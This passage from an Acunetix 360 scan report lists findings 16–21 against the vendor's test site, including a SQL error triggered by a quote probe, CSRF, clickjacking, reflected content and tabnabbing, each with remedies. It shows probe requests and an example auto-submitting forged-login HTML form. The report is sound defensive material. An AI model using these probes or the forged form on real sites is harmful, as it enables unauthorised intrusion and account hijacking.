History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:19:34 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:13:40 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan, The State was set to ! Present</td>
<td>System</td>
<td>5/6/2021 8:05:06 AM</td>
</tr>
</tbody>
</table>

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
16. Database Error Message Disclosure

Acunetix 360 identified a database error message disclosure.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL injection vulnerability. Most of the time Acunetix 360 will detect and report that problem separately.

Vulnerabilities


<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>cat</td>
<td>%27</td>
</tr>
</tbody>
</table>

Certainty

Request

GET /listproducts.php?cat=%2527 HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng, */*;q=0.8
Accept-Language: en-us, en; q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
Referer: http://testphp.vulnweb.com/categories.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.36 Safari/537.36
X-Scanner: Acunetix 360
**Response**

Response Time (ms): 183.1946  
Total Bytes Received: 220  
Body Length: 0  
Is Compressed: No

-  

`<a href='logout.php'>Logout test</a>`  

`</tr></table>`

`</div>`

`</div>`

`<!-- end masthead -->`

`<!-- begin content -->`

`<!-- InstanceBeginEditable name="content_rgn" -->`

```html
<div id="content">
  
  Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%27' at line 1
  
  Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74

```

`<!-- InstanceEndEditable -->`

`<!--end content -->`

`<div`

---

**History**

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:23:50 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan. The State was set to ! Present</td>
<td>System</td>
<td>5/6/2021 8:09:12 AM</td>
</tr>
</tbody>
</table>

**Remedy**

Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.

---

**CLASSIFICATION**

DISA STIG 3.5.2
17. [Possible] Cross-site Request Forgery

Acunetix 360 identified a possible Cross-Site Request Forgery.

CSRF is a very common vulnerability. It's an attack which forces a user to execute unwanted actions on a web application in which the user is currently authenticated.

Impact

Depending on the application, an attacker can mount any of the actions that can be done by the user such as adding a user, modifying content, deleting data. All the functionality that's available to the victim can be used by the attacker. Only exception to this rule is a page that requires extra information that only the legitimate user can know (such as user's password).

Vulnerabilities


Form Name(s)
- faddentry

Certainty

Request

GET /guestbook.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360
Remedy

- Send additional information in each HTTP request that can be used to determine whether the request came from an authorized source. This “validation token” should be hard to guess for attacker who does not already have access to the user's account. If a request is missing a validation token or the token does not match the expected value, the server should reject the request.

- If you are posting form in ajax request, custom HTTP headers can be used to prevent CSRF because the browser prevents sites from sending custom HTTP headers to another site but allows sites to send custom HTTP headers to themselves using XMLHttpRequest.

  - For native XMLHttpRequest (XHR) object in JavaScript:
    ```javascript
    xhr = new XMLHttpRequest();
    xhr.setRequestHeader('custom-header', 'valueNULL');
    ```

  - For JQuery, if you want to add a custom header (or set of headers) to a individual request
    ```javascript
    $.ajax({
        url: 'foo/bar',
    ```
b. every request

```javascript
$.ajaxSetup({
    headers: { 'x-my-custom-header': 'some value' }
});

OR

$.ajaxSetup({
    beforeSend: function(xhr) {
        xhr.setRequestHeader('x-my-custom-header', 'some value');
    }
});
```

External References

- OWASP Cross-Site Request Forgery (CSRF)

Remedy References

- OWASP Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

CLASSIFICATION

DISA STIG 3.10.6
18. [Possible] Cross-site Request Forgery in Login Form

Acunetix 360 identified a possible Cross-Site Request Forgery in Login Form.

In a login CSRF attack, the attacker forges a login request to an honest site using the attacker’s user name and password at that site. If the forgery succeeds, the honest server responds with a Set-Cookie header that instructs the browser to mutate its state by storing a session cookie, logging the user into the honest site as the attacker. This session cookie is used to bind subsequent requests to the user’s session and hence to the attacker’s authentication credentials. The attacker can later log into the site with his legitimate credentials and view private information like activity history that has been saved in the account.

Impact

In this particular case CSRF affects the login form in which the impact of this vulnerability is decreased significantly. Unlike normal CSRF vulnerabilities this will only allow an attacker to exploit some complex XSS vulnerabilities otherwise it can't be exploited.

For example:

If there is a page that’s different for every user (such as “edit my profile”) and vulnerable to XSS (Cross-site Scripting) then normally it cannot be exploited. However if the login form is vulnerable, an attacker can prepare a special profile, force victim to login as that user which will trigger the XSS exploit. Again attacker is still quite limited with this XSS as there is no active session. However the attacker can leverage this XSS in many ways such as showing the same login form again but this time capturing and sending the entered username/password to the attacker.

In this kind of attack, attacker will send a link containing html as simple as the following in which attacker’s user name and password is attached.

```html
<form method="POST" action="http://honest.site/login">
  <input type="text" name="user" value="h4ck3r" />
  <input type="password" name="pass" value="passw0rd" />
</form>
<script>
  document.forms[0].submit();
</script>
```

When the victim clicks the link then form will be submitted automatically to the honest site and exploitation is successful, victim will be logged in as the attacker and consequences will depend on the website behavior.

- **Search History**
  Many sites allow their users to opt-in to saving their search history and provide an interface for a user to review his or her personal search history. Search queries contain sensitive details about the user’s interests and activities and could be used by the attacker to embarrass the user, to steal the user’s identity, or to spy on the user. Since the victim logs in as the attacker, the victim’s search queries are then stored in the attacker’s search history, and the attacker can retrieve the queries by logging into his or her own account.

- **Shopping**
  Merchant sites might save the credit card details in user’s profile. In login CSRF attack, when user funds a purchase and enrolls the credit card, the credit card details might be added to the attacker’s account.

**Vulnerabilities**

Request

GET /login.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.39
45.0 Safari/537.36
X-Scanner: Acunetix 360

Response

Response Time (ms) : 181.0863  Total Bytes Received : 220  Body Length : 0  Is Compressed : No

---
<!- InstanceBeginEditable name="content_rgn" -->
<div id="content">
    <div class="story">
        <h3>If you are already registered please enter your login information below:</h3>
        <form name="loginform" method="post" action="userinfo.php">
            <table cellpadding="4" cellspacing="1">
                <tr><td>Username : <input name="uname" type="text" size="20" style="width:20px;"> </td></tr>
                <tr><td>Passwo</td></tr>
            </table>
        </form>
    </div>
</div>

---

History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:19:34 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan. The State was set to Present.</td>
<td>System</td>
<td>6/9/2021 1:13:41 PM</td>
</tr>
</tbody>
</table>

Remedy
Send additional information in each HTTP request that can be used to determine whether the request came from an authorized source. This “validation token” should be hard to guess for attacker who does not already have access to the user’s account. If a request is missing a validation token or the token does not match the expected value, the server should reject the request.

If you are posting form in ajax request, custom HTTP headers can be used to prevent CSRF because the browser prevents sites from sending custom HTTP headers to another site but allows sites to send custom HTTP headers to themselves using XMLHttpRequest.

- For native XMLHttpRequest (XHR) object in JavaScript:
  ```javascript
  xhr = new XMLHttpRequest();
  xhr.setRequestHeader('custom-header', 'valueNULL);
  ```

- For JQuery, if you want to add a custom header (or set of headers) to
  a. **individual request**
  ```javascript
  $.ajax({
      url: 'foo/bar',
      headers: { 'x-my-custom-header': 'some value' }
  });
  ```

  b. **every request**
  ```javascript
  $.ajaxSetup({
      headers: { 'x-my-custom-header': 'some value' }
  });
  OR
  $.ajaxSetup({
      beforeSend: function(xhr) {
          xhr.setRequestHeader('x-my-custom-header', 'some value');
      }
  });
  ```

**External References**
- OWASP Cross-Site Request Forgery (CSRF)
- Robust Defenses for Cross-Site Request Forgery
- Identifying Robust Defenses for Login CSRF

**Remedy References**
- OWASP Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
19. Missing X-Frame-Options Header

Acunetix 360 detected a missing X-Frame-Options header which means that this website could be at risk of a clickjacking attack.

The X-Frame-Options HTTP header field indicates a policy that specifies whether the browser should render the transmitted resource within a frame or an iframe. Servers can declare this policy in the header of their HTTP responses to prevent clickjacking attacks, which ensures that their content is not embedded into other pages or frames.

Impact

Clickjacking is when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on a framed page when they were intending to click on the top level page. Thus, the attacker is "hijacking" clicks meant for their page and routing them to other another page, most likely owned by another application, domain, or both.

Using a similar technique, keystrokes can also be hijacked. With a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be led to believe they are typing in the password to their email or bank account, but are instead typing into an invisible frame controlled by the attacker.

Vulnerabilities


Certainty

Request

GET /login.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360
HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:19:30 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>login page</title>
<!-- InstanceBeginEditable name="document_title_rgn" -->
<title>login page</title>
<!-- InstanceEndEditable -->
<link rel="stylesheet" href="style.css" type="text/css">
<!-- InstanceBeginEditable name="headers_rgn" -->
<!-- here goes headers headers -->
<!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) { //reloads the window if Nav4 resized
    if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
        document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
    else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->
</script>
</head>
<body>
<div id="mainLayer" style="position:absolute; width:700px; z-index:1">
    <div id="masthead">
        <h1 id="siteName"><a href="https://www.acunetix.com/"
            img src="images/logo.gif" width="306" height="38" border="0" alt="Acunetix website security"></a></h1>
        <h6 id="siteInfo">TEST and Demonstration site for <a href="https://www.acunetix.com/vulnerability-scanner/">Acunetix Web Vulnerability Scanner</a></h6>
    </div>
    <div id="globalNav">
        <table border="0" cellpadding="0" cellspacing="0" width="100%">
            <tr>
                <td align="left">
                    <a href="index.php">home</a> | <a href="categories.php">categories</a> | <a href="artists.php">artists</a>
                    <a href="disclaimer.php">disclaimer</a> | <a href="cart.php">your cart</a>
                    <a href="guestbook.php">...</a>
                </td>
            </tr>
        </table>
    </div>
</div>
</body>
</html>
Remedy

- Sending the proper X-Frame-Options in HTTP response headers that instruct the browser to not allow framing from other domains.
  - X-Frame-Options: DENY It completely denies to be loaded in frame/iframe.
  - X-Frame-Options: SAMEORIGIN It allows only if the site which wants to load has a same origin.
  - X-Frame-Options: ALLOW-FROM URL It grants a specific URL to load itself in a iframe. However please pay attention to that, not all browsers support this.
- Employing defensive code in the UI to ensure that the current frame is the most top level window.

External References

- Clickjacking
- Can I Use X-Frame-Options
- X-Frame-Options HTTP Header

Remedy References

- Clickjacking Defense Cheat Sheet

---

**CLASSIFICATION**

DISA STIG 3.5.1
20. [Possible] Insecure Reflected Content

Acunetix 360 detected that the target web application reflected a piece of content starting from the first byte of the response. This might cause security issues such as Rosetta Stone Attack.

Impact
An attacker might bypass same origin policy and use website to his or her advantage. Rosetta Flash is a known vulnerability which uses this technique making a victim perform arbitrary requests to the domain with the vulnerable endpoint and exfiltrate potentially sensitive data.

Vulnerabilities


<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>p</td>
<td>N3tSp4rK3R</td>
</tr>
<tr>
<td>GET</td>
<td>pp</td>
<td>12</td>
</tr>
<tr>
<td>GET</td>
<td>aaaa%2f</td>
<td></td>
</tr>
</tbody>
</table>

Certainty

Request
GET /hpp/params.php?aaaa%2f=&p=N3tSp4rK3R&pp=12 HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
Referer: http://testphp.vulnweb.com/hpp/?pp=12
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360
**Response**

Response Time (ms): 189.3877  Total Bytes Received: 220  Body Length: 0  Is Compressed: No

HTTP/1.1 200 OK  
Server: nginx/1.19.0  
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1  
Connection: keep-alive  
Content-Type: text/html; charset=UTF-8  
Transfer-Encoding: chunked  
Date: Wed, 09 Jun 2021 13:30:14 GMT

N3tSp4rK3R12

**History**

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:30:14 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan. The State was set to <img src="atten.png" alt="Present" /></td>
<td>System</td>
<td>5/6/2021 8:21:17 AM</td>
</tr>
</tbody>
</table>

**Actions to Take**

Action might vary depending on the use of this page. This is reported just for your attention. If you concern about security and this page is used to provide data via JSONP callback function, **Content-Disposition** header with `filename` attribute can be returned to mitigate a possible attack:

Content-Disposition: attachment; filename=f.txt

**External References**

- [Abusing JSONP with Rosetta Flash](#)

**CLASSIFICATION**

DISA STIG  

3.1
21. [Possible] Phishing by Navigating Browser Tabs

Acunetix 360 identified possible phishing by navigating browser tabs but was unable to confirm the vulnerability.

Open windows with normal hrefs with the tag target="_blank" can modify window.opener.location and replace the parent webpage with something else, even on a different origin.

**Impact**

While this vulnerability doesn't allow script execution, it does allow phishing attacks that silently replace the parent tab. If the links lack rel="noopener noreferrer" attribute, a third party site can change the URL of the source tab using window.opener.location.assign and trick the users into thinking that they're still in a trusted page and lead them to enter their sensitive data on the malicious website.

**Vulnerabilities**


**External Links**

**Certainty**

**Request**

```
GET /disclaimer.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360
```
address, nor e-mail or website addresses.</p>

Information you post on this site are by no means private nor protected!</p>

All images on this site were generated with fre software <a href="http://www.eclectasy.com/Fractal-Explorer/index.html" target="_blank">

Fractal Explorer</a>.</p>

Response

Response Time (ms) : 180.1245  
Total Bytes Received : 220  
Body Length : 0  
Is Compressed : No

---

History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:19:44 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan. The State was set to Present.</td>
<td>System</td>
<td>5/6/2021 8:05:18 AM</td>
</tr>
</tbody>
</table>

Remedy

- Add rel=noopener to the links to prevent pages from abusing window.opener. This ensures that the page cannot access the window.opener property in Chrome and Opera browsers.

- For older browsers and in Firefox, you can add rel=noreferrer which additionally disables the Referer header.
External References

- Reverse Tabnabbing
- Blankshield & Reverse Tabnabbing Attacks
- Target="_blank" - the most underestimated vulnerability ever

---

**Show Scan Detail**

**Enabled Security Checks**

- Arbitrary Files (IAST),
- BREACH Attack,
- Code Evaluation,
- Code Evaluation (IAST),
- Code Evaluation (Out of Band),
- Command Injection,
- Command Injection (Blind),
- Command Injection (IAST),
- Configuration Analyzer (IAST),
- Content Security Policy,
- Content-Type Sniffing,
- Cookie,
- Cross Frame Options Security,
- Cross-Origin Resource Sharing (CORS),
- Cross-Site Request Forgery,
- Cross-site Scripting,
- Cross-site Scripting (Blind),
- Drupal Remote Code Execution,
- Expect Certificate Transparency (Expect-CT),
- File Upload,
- Header Analyzer,
- Heartbleed,
- HSTS,
- HTML Content,
- HTTP Header Injection,
- HTTP Header Injection (IAST),
- HTTP Methods,
- HTTP Status,
- IFrame Security,
- Insecure JSONP Endpoint,
- Insecure Reflected Content,
JavaScript Libraries, Local File Inclusion, Local File Inclusion (IAST), Login Page Identifier, Malware Analyzer, Mixed Content, Open Redirection, Referrer Policy, Reflected File Download, Remote File Inclusion, Remote File Inclusion (Out of Band), Reverse Proxy Detection, Server-Side Request Forgery (DNS), Server-Side Request Forgery (Pattern Based), Server-Side Template Injection, Signatures, SQL Injection (Blind), SQL Injection (Boolean), SQL Injection (Error Based), SQL Injection (IAST), SSL, Static Resources (All Paths), Unicode Transformation (Best-Fit Mapping), WAF Identifier, Web App Fingerprint, Web Cache Deception, XML External Entity, XML External Entity (Out of Band)

<table>
<thead>
<tr>
<th><strong>URL Rewrite Mode</strong></th>
<th>: Heuristic</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Detected URL Rewrite Rule(s)</strong></td>
<td>: None</td>
</tr>
<tr>
<td><strong>Excluded URL Patterns</strong></td>
<td>: gtm.js WebResource.axd ScriptResource.axd</td>
</tr>
<tr>
<td><strong>Authentication</strong></td>
<td>: None</td>
</tr>
<tr>
<td><strong>Authentication Profile</strong></td>
<td>:</td>
</tr>
<tr>
<td><strong>Scheduled</strong></td>
<td>: No</td>
</tr>
<tr>
<td><strong>Additional Website(s)</strong></td>
<td>: None</td>
</tr>
<tr>
<td><strong>Scan Profile</strong></td>
<td>: <strong>NoAuth</strong></td>
</tr>
<tr>
<td><strong>Scan Policy</strong></td>
<td>: <strong>OptimizedScanPolicy</strong></td>
</tr>
<tr>
<td><strong>Report Policy</strong></td>
<td>: <strong>Default Report Policy</strong></td>
</tr>
<tr>
<td><strong>Scope</strong></td>
<td>: Entered Path and Below</td>
</tr>
<tr>
<td><strong>Scan Type</strong></td>
<td>: Full</td>
</tr>
</tbody>
</table>
Max Scan Duration : 48 hour(s)

This report created with 2.0.2.118
https://www.acunetix.com